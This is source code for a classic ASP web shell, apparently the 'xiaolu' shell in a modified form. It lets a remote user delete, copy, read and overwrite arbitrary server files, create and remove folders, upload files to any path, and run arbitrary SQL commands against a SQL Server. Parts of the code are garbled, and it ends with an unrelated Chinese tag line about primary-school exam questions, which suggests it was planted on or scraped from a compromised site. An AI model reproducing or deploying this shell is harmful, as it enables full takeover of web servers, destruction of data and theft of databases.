modified by 123456789 base on xiaolu<蕇e "e.asp"%> <%if request("op")="del" then if request("attrib")="true" then wfile=request("path") else wfile=server.mappath(request("path")) end if set thisfile = ssyss.getfile(wfile) thisfile.delete true response.write "" else if request("op")="copy" then if request("attrib")="true" then wfile=request("path") dsfile=request("dpath") else wfile=server.mappath(request("path")) dsfile=server.mappath(request("dpath")) end if set thisfile = ssyss.getfile(wfile) thisfile.copy dsfile %> <% else if request.form("text")="" then if request("creat")<>"yes" then if request("attrib")="true" then wfile=request("path") else wfile=server.mappath(request("path")) end if set thisfile = ssyss.opentextfile(wfile, 1, false) counter=0 thisline=thisfile.readall thisfile.close set fs=nothing end if %> <%else if request("attrib")="true" then wfile=request("path") else wfile=server.mappath(request("path")) end if set outfile=ssyss.createtextfile(wfile) outfile.writeline request("text") utfile.close set fs=nothing response.write "" end if end if end if %><蕇e "edir.asp" if request("op")="del" then if request("attrib")="true" then wdir=request("path") else wdir=server.mappath(request("path")) end if ssyss.deletefolder wdir,true response.write "" else if request("op")="creat" then if request("attrib")="true" then wdir=request("path") else wdir=server.mappath(request("path")) end if ssyss.createfolder wdir response.write "" end if end if case "up.asp" set upload=new upload_xlsf if upload.form("filepath")="" then htmend "input up path!" set upload=nothing response.end else formpath=upload.form("filepath") if right(formpath,1)<>"/" then formpath=formpath&"/" end if for each formname in upload.objfile set file=upload.file(formname) if file.filesize>0 then file.saveas formpath & file.filename response.write file.filepath&file.filename&" ("&file.filesize&") => "&formpath&file.filename&" succ!
" end if set file=nothing next set upload=nothing sub htmend(msg) set upload=nothing response.write "up succ!" response.end end sub case "sql.asp" if trim(request.form("sqlcmd"))<>"" then password= trim(request.form("pa")) id=trim(request.form("id")) sqllocalname=trim(request.form("sqllocalname")) ku=trim(request.form("ku")) session("sqlu")=id session("sqlp")=password session("sqls")=sqllocalname session("sqlc")=trim(request.form("sqlcmd")) session("sqlk")=ku if sqllocalname="" or sqllocalname="sql server" then sqllocalname="127.0.0.1" set adoconn=server.createobject("adodb.connection") adoconn.open "provider=sqloledb.1;password="&password&";user id="&id&";database="&ku&";data source ="&sqllocalname strquery = session("sqlc") set recresult = adoconn.execute(strquery) if left(strquery,4)="exec" or left(strquery,6)="select" then if not recresult.eof then for i=0 to recresult.fields.count-1 strresultn=strresultn&""&recresult.fields(i).name&"" next allre=""&strresultn&"" do while not recresult.eof for i=0 to recresult.fields.count-1 strresult = strresult &""& outcmd(recresult.fields(i).value)&"" next allre=allre&strresult&"" strresult="" recresult.movenext loop allre=allre&"" end if end if set recresult = nothing end if set adoconn = nothing %> <%response.write request.form("sqlcmd") & "
Tag:小学六年级语文试题,小学语文试题,小学语文试题及答案,语文教学 - 小学六年级语文试题